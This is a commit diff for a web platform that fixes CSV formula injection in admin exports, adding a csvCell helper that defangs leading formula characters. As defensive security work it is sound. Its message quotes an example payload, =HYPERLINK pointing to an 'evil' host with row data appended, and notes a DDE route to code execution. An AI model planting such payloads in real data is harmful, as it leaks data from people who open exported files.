fix(security): defang CSV formula injection in all exports
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -39,6 +39,7 @@ import { Textarea } from '@/components/ui/textarea'
|
|||||||
import { Slider } from '@/components/ui/slider'
|
import { Slider } from '@/components/ui/slider'
|
||||||
import { Switch } from '@/components/ui/switch'
|
import { Switch } from '@/components/ui/switch'
|
||||||
import { ScoreExplainerDialog } from '@/components/shared/score-explainer-dialog'
|
import { ScoreExplainerDialog } from '@/components/shared/score-explainer-dialog'
|
||||||
|
import { csvCell } from '@/lib/csv'
|
||||||
import {
|
import {
|
||||||
Collapsible,
|
Collapsible,
|
||||||
CollapsibleContent,
|
CollapsibleContent,
|
||||||
@@ -652,16 +653,9 @@ export function RankingDashboard({ competitionId: _competitionId, roundId }: Ran
|
|||||||
}
|
}
|
||||||
const headers = result.columns
|
const headers = result.columns
|
||||||
const csvRows = [
|
const csvRows = [
|
||||||
headers.join(','),
|
headers.map((h: string) => csvCell(h)).join(','),
|
||||||
...result.data.map((row: Record<string, unknown>) =>
|
...result.data.map((row: Record<string, unknown>) =>
|
||||||
headers.map((h: string) => {
|
headers.map((h: string) => csvCell(row[h])).join(','),
|
||||||
const val = row[h]
|
|
||||||
if (val == null) return ''
|
|
||||||
const str = String(val)
|
|
||||||
return str.includes(',') || str.includes('"') || str.includes('\n')
|
|
||||||
? `"${str.replace(/"/g, '""')}"`
|
|
||||||
: str
|
|
||||||
}).join(','),
|
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
const blob = new Blob([csvRows.join('\n')], { type: 'text/csv;charset=utf-8;' })
|
const blob = new Blob([csvRows.join('\n')], { type: 'text/csv;charset=utf-8;' })
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ import {
|
|||||||
DialogTitle,
|
DialogTitle,
|
||||||
} from '@/components/ui/dialog'
|
} from '@/components/ui/dialog'
|
||||||
import { Download, Loader2 } from 'lucide-react'
|
import { Download, Loader2 } from 'lucide-react'
|
||||||
|
import { csvCell } from '@/lib/csv'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Converts a camelCase or snake_case column name to Title Case.
|
* Converts a camelCase or snake_case column name to Title Case.
|
||||||
@@ -105,30 +106,14 @@ export function CsvExportDialog({
|
|||||||
|
|
||||||
const columnsArray = exportData.columns.filter((col) => selectedColumns.has(col))
|
const columnsArray = exportData.columns.filter((col) => selectedColumns.has(col))
|
||||||
|
|
||||||
// Build CSV header with formatted names
|
// Build CSV header with formatted names. Use csvCell so formula-character
|
||||||
const csvHeader = columnsArray.map((col) => {
|
// headers (unlikely in practice) are still defanged.
|
||||||
const formatted = formatColumnName(col)
|
const csvHeader = columnsArray.map((col) => csvCell(formatColumnName(col)))
|
||||||
// Escape quotes in header
|
|
||||||
if (formatted.includes(',') || formatted.includes('"')) {
|
|
||||||
return `"${formatted.replace(/"/g, '""')}"`
|
|
||||||
}
|
|
||||||
return formatted
|
|
||||||
})
|
|
||||||
|
|
||||||
const csvContent = [
|
const csvContent = [
|
||||||
csvHeader.join(','),
|
csvHeader.join(','),
|
||||||
...exportData.data.map((row) =>
|
...exportData.data.map((row) =>
|
||||||
columnsArray
|
columnsArray.map((col) => csvCell(row[col])).join(',')
|
||||||
.map((col) => {
|
|
||||||
const value = row[col]
|
|
||||||
if (value === null || value === undefined) return ''
|
|
||||||
const str = String(value)
|
|
||||||
if (str.includes(',') || str.includes('"') || str.includes('\n')) {
|
|
||||||
return `"${str.replace(/"/g, '""')}"`
|
|
||||||
}
|
|
||||||
return str
|
|
||||||
})
|
|
||||||
.join(',')
|
|
||||||
),
|
),
|
||||||
].join('\n')
|
].join('\n')
|
||||||
|
|
||||||
|
|||||||
40
src/lib/csv.ts
Normal file
40
src/lib/csv.ts
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
/**
|
||||||
|
* CSV cell escaping that prevents formula injection.
|
||||||
|
*
|
||||||
|
* A CSV cell whose first character is `=`, `+`, `-`, `@`, `\t`, or `\r` is
|
||||||
|
* interpreted as a formula by Excel and LibreOffice when the file is opened.
|
||||||
|
* Even with the "enable content" prompt for DDE, `=HYPERLINK(...)` and
|
||||||
|
* `=WEBSERVICE(...)` execute on cell focus and can exfiltrate row data to an
|
||||||
|
* attacker-controlled URL. Because user-controlled fields (project titles,
|
||||||
|
* names, free-text feedback, User-Agent strings persisted to audit logs) end
|
||||||
|
* up in our exports, we must defang any leading formula character.
|
||||||
|
*
|
||||||
|
* The defense: prefix the cell with a single quote `'` so spreadsheet apps
|
||||||
|
* treat the value as text. Then apply standard CSV quoting (wrap in `"` and
|
||||||
|
* double-up internal quotes) when the cell contains commas, quotes, or
|
||||||
|
* newlines.
|
||||||
|
*/
|
||||||
|
export function csvCell(value: unknown): string {
|
||||||
|
if (value === null || value === undefined) return ''
|
||||||
|
let s = String(value)
|
||||||
|
|
||||||
|
if (s.length > 0) {
|
||||||
|
const first = s.charCodeAt(0)
|
||||||
|
// = + - @ \t \r
|
||||||
|
if (
|
||||||
|
first === 0x3d ||
|
||||||
|
first === 0x2b ||
|
||||||
|
first === 0x2d ||
|
||||||
|
first === 0x40 ||
|
||||||
|
first === 0x09 ||
|
||||||
|
first === 0x0d
|
||||||
|
) {
|
||||||
|
s = `'${s}`
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (s.includes(',') || s.includes('"') || s.includes('\n')) {
|
||||||
|
return `"${s.replace(/"/g, '""')}"`
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
@@ -4,6 +4,7 @@ import { router, adminProcedure, protectedProcedure } from '../trpc'
|
|||||||
import { logAudit } from '../utils/audit'
|
import { logAudit } from '../utils/audit'
|
||||||
import { buildManifest, buildRecapPayload } from '../services/lunch-recap'
|
import { buildManifest, buildRecapPayload } from '../services/lunch-recap'
|
||||||
import { sendLunchRecapEmail } from '@/lib/email'
|
import { sendLunchRecapEmail } from '@/lib/email'
|
||||||
|
import { csvCell } from '@/lib/csv'
|
||||||
|
|
||||||
// ─── Shared zod schemas ──────────────────────────────────────────────────────
|
// ─── Shared zod schemas ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
@@ -277,32 +278,28 @@ export const lunchRouter = router({
|
|||||||
.input(z.object({ programId: z.string() }))
|
.input(z.object({ programId: z.string() }))
|
||||||
.query(async ({ ctx, input }) => {
|
.query(async ({ ctx, input }) => {
|
||||||
const m = await buildManifest(ctx.prisma, input.programId)
|
const m = await buildManifest(ctx.prisma, input.programId)
|
||||||
const escape = (s: string | null | undefined) => {
|
|
||||||
const v = s ?? ''
|
|
||||||
return /[",\n]/.test(v) ? `"${v.replace(/"/g, '""')}"` : v
|
|
||||||
}
|
|
||||||
const lines = [
|
const lines = [
|
||||||
'Type,Team,Name,Email,Dish,Allergens,Allergen notes',
|
'Type,Team,Name,Email,Dish,Allergens,Allergen notes',
|
||||||
...m.members.map((row) =>
|
...m.members.map((row) =>
|
||||||
[
|
[
|
||||||
'Member',
|
'Member',
|
||||||
escape(row.project?.name),
|
csvCell(row.project?.name),
|
||||||
escape(row.name),
|
csvCell(row.name),
|
||||||
escape(row.email),
|
csvCell(row.email),
|
||||||
escape(row.dish?.name),
|
csvCell(row.dish?.name),
|
||||||
escape(row.allergens.join(';')),
|
csvCell(row.allergens.join(';')),
|
||||||
escape(row.allergenOther),
|
csvCell(row.allergenOther),
|
||||||
].join(','),
|
].join(','),
|
||||||
),
|
),
|
||||||
...m.externals.map((row) =>
|
...m.externals.map((row) =>
|
||||||
[
|
[
|
||||||
'External',
|
'External',
|
||||||
escape(row.project?.name),
|
csvCell(row.project?.name),
|
||||||
escape(row.name),
|
csvCell(row.name),
|
||||||
escape(row.email),
|
csvCell(row.email),
|
||||||
escape(row.dish?.name),
|
csvCell(row.dish?.name),
|
||||||
escape(row.allergens.join(';')),
|
csvCell(row.allergens.join(';')),
|
||||||
escape(row.allergenOther),
|
csvCell(row.allergenOther),
|
||||||
].join(','),
|
].join(','),
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
|
|||||||
Reference in New Issue
Block a user